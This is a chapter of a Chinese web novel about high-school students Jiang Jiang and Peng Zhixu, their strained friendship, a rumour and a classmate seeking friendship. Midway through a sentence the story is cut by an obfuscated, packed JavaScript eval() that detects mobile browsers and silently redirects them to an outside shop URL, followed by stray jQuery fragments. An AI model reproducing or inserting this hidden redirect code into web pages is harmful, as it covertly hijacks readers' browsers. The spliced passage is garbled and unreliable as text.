“我早就知道了。”江将往后退,靠墙而立。
他离她实在是太近,近到她抬头都看不到他的脸,只能看到他长了胡青的下巴。
他从什么时候开始长胡子的?该不会是从那时候就开始长了吧?
那时候……
那时候她还看到了别的东西。
烦死了。
江将低头、闭眼。
彭知序没说话。
江将不知道他在看什么,更不知道他在想什么。
两人就这样安静地站在角落。
乱七八糟的画面逐渐变模糊,江将微微仰着脸说:“我要回家了。”
彭知序把她搭在胸前的头发,顺到背后去,低头垂目,不高兴地问:“谁告诉你的?杨帆?”
江将的后背最终还是贴紧了墙壁,手心也贴着墙壁,摇了摇头说:“不是,我听班上的人说的,班上很多人都知道。”
“你最好是从其他人那里听说的。”彭知序瞪着她,她的目光并不闪躲。
他又问:“为什么不看我的消息?”
“我还没来得及看。”江将不想说她是为了避开那个变态的消息。
虽然她不再怀疑给她发消息的人是彭知序,但发消息的人似乎一直想让她怀疑彭知序。
给彭知序说了,指不定会惹出什么更大的事端。
她没有那么多时间可以浪费在这种事情上。
彭知序是傍晚六点十五分给她发的消息。
他抬腕看时间。
现在是晚上八点零一分,中间隔了将近两个小时,考虑到她抓学习的确抓得很紧,他便没再追问。
只是还是很难控制自己的手。
彭知序勾起她耳边的头发,摩挲了几秒,有了一种久违的满足感,略带不满地说:“剪头发也不给我说。”
高一暑假,江将就将齐腰的头发剪到齐肩,到现在一直维持着这个长度。
江将轻轻努了努嘴,拧着眉道:“我的头发,我想剪就剪,为什么要给你说?”
彭知序叹气,无奈又伤感地说:“以前你就会给我说,还会问我意见。”
江将一怔。
所以以前他们在一起聊的都是这样日常的事情吗?
因为足够日常,所以她想不起来了。
江将觉得可怕,她竟然让一个跟她志向完全不同的人,渗透她的人生渗透了这么多年。
她继续坚持及时止损原则,笑了笑说:“我回家了。”
彭知序的心一下空了,不管不顾地揽住她的肩,挽留道:“再跟我说会儿话。”
江将一口气提到嗓子眼儿。
但不明白自己如此紧张,又如此惊讶,心跳还异常快的原因。
她深呼吸,打算甩开彭知序的手臂。
门口传来一声大喊:“哥?”
彭知序松开她,回头看向江来。
江来走近,狐疑地看着靠很近的两人,“江将?”
“你们俩和好了?”江来走近墙边,主要盯着彭知序,“我还以为哥你嫌她不好看,决定再也不跟她玩了。”
氛围被破坏。
彭知序很不爽,屈起指节给了江来一个爆栗。
江将则没忍住观察彭知序的脸,越观察心里越不舒服,横一眼江来,教训道:“好看能当饭吃?你多做两套题比什么都强。”
教训完江来,江将就往家走。
身后传来江来的痛苦喊声,“哥,你别以为我不敢反抗。”
大概是又挨了彭知序的打。
江来回到家的时候,江将正在客厅喝水。
她斜一眼他,什么话都没说,只咕嘟咕嘟咽水。
江来气冲冲道:“好看就是能当饭吃,彭知序他要不是长得好看,他们乐队能在短短两个多月,就积累那么多粉丝?”
一会儿喊哥,一会儿喊彭知序,江将真是听烦了,回道:“他要只是长得好看,什么乐器都不会,还不会写词谱曲,能有粉丝?”
粉丝?不是明星才有粉丝吗?
江将转过身,面向江来,不解道:“什么叫积累那么多粉丝?”
江来翻白眼,两瓣嘴唇发出噗的一声,“难怪人家都拿你跟丁郁可、彭知序比,说他们是十项全能,是社会抢着要的人才,而你只是一个书呆子,会被社会淘汰。”
手里的水还剩了些,江将拧紧瓶盖,捏着瓶口朝江来投过去,正正好打在江来心脏的位置。
她继续以教训的口气说:“放心,社会最先淘汰的肯定是你这种样样都不行的人。”
被人打中痛处,还被人戳中痛处,江来攥着半瓶水,不服气地说:“我可以当哥他们乐队的经纪人。”
真是越说越夸张了。
江将懒得再跟他扯,只说:“你要是不想一辈子都摆脱不了江治国和于素英,就赶紧好好学习,别一天学人家不愁未来的人搞什么暗恋,做什么明星梦。”
关上卧室门之前,江将听到江来在客厅大骂:“我看你才是封建余孽,裹小脚的赛博文盲。”
江将关门、落锁,江来冲到门口继续骂:“你知不知道你的语气跟老婆婆一样。”
“老气横秋。”
江将朝门扔过去一本书,门外的动静立即消失。
世界恢复安宁。
第二天一早,江将出门撞见了丁郁可。
她暗叹不妙时,丁郁可已飞奔至她身边。
这人应该专门练过短跑,跑步姿势舒展、优美,的确很漂亮,不学习也能混到一口饭吃。
何况人家本身家境就好,根本不愁吃喝。
江将盘算着晚上回家得正儿八经地给江来上一课,必须把江来这坨烂泥扶上墙。
“以后我们俩一起上学吧,我一个朋友都没有。”丁郁可亲昵地挽起江将的胳膊。
江将抽出自己的胳膊之后,她很不甘心,双手都放到江将的胳膊上,拽着江将往前走。
“我的传闻你应该早就知道了吧,学校里的人好像都知道了,没有人愿意跟我成为朋友。”丁郁可的牙齿、舌头,甚至嘴唇都非常用力,方才把这些话说出口,指尖也慢慢陷进江将的皮肉,“我怎么走到哪儿都是被欺负、被排挤的命。”
江将觉得疼,右臂用力甩,没能甩开这人,便用左手推了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934302|212967||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把她的肩膀。
胳膊重获自由,江将还没来得及揉捏自己蔓延着痛意的皮肉,丁郁可又说:“你在班上、学校这么受欢迎,应该不会带头欺负、排挤我吧?”
神经病。
都高三了,到底还有谁会关心在班上、学校受不受欢迎这种事?
江将心说初中的时候,她以及她身边的朋友、同学,都没有人会关注这种幼稚的事情。
“我不想跟你成为朋友,不代表我会欺负、排挤你,至于其他人会不会欺负、排挤你,跟我没关系,你别扯上我。”江将忍住翻白眼的冲动,走了两步,回头看着愣在原地的丁郁可,补了一句更直接的话,“麻烦你不要跟我假亲近,最好是之前怎么对我的,现在、以后都还是那样对我。”
这样似乎还是没办法彻底跟她划清界限。
江将思索再三,说道:“你并不想跟我成为朋友,不是吗?”
被人毫不留情地拆穿,丁郁可的面子挂不住,下嘴唇不可控制地抽搐,杏眼湿润,咬了咬嘴唇说:“明明是你一开始就不喜欢我。”
没想到居然被倒打一耙。
被倒打一耙就算了,还得被迫看人表演梨花带雨。
江将以最大的恶意揣测完丁郁可,想了想还是决定不继续在这样的事情上耗费精力,临走时真心道:“高三了,大部分人都不会关注学习以外的事情,别太担心。”
“你才是别装模作样了。”丁郁可说着大步走到江将的前面,“明明嫉妒的要死。”
她腿长脚长,没一会儿就把江将甩的远远的。
江将一边想为什么不见彭知序,一边思考丁郁可所说的嫉妒是什么意思?是和彭知序所说的吃醋一个意思吗?
一个二个的都是些神人。
神人彭知序踩着上课铃进的教室。
任嘉怡凑近江将,悄声道:“彭知序他们乐队签了经纪公司,现在他们乐队的官方账号已经三十多万粉丝了。”
江将的两根大拇指,轻按住任嘉怡的黑眼圈,奇怪道:“你妈一天把你看得那么紧,你是怎么有时间关注这些八卦的?”
任嘉怡一副活人微死的样子,枕住手臂,哀怨道:“以前她看得不紧的时候,我还觉得这些八卦没意思,明星都不认识几个,现在却连班上谁和谁谈恋爱了都感兴趣的不行。”
任嘉怡想起了些什么,端端正正坐好,问道:“那个人又给你发短信没?”
江将的十指微收,摇了摇头,回道:“没有。”
忽然,彭知序拧着上半身,看向江将道:“什么短信?谁给你发短信?”
“你关心这个做什么?”任嘉怡有意替江将掩盖。
虽说任嘉怡也是最近才知道江将和彭知序以前关系很好,但她想正常人如果知道以前的好友怀疑自己是变态,应该会很受伤,而且说不定还会发火。
她便扯开话题,“听说丁郁可要加入你们乐队,校庆的时候你们还会一起表演?”
彭知序已经想到是谁会干这种事,不过还是多余问了一句,“谁跟你说的?”
江将也猜出是谁说的,一抬眼便见任嘉怡用下巴指丁郁可。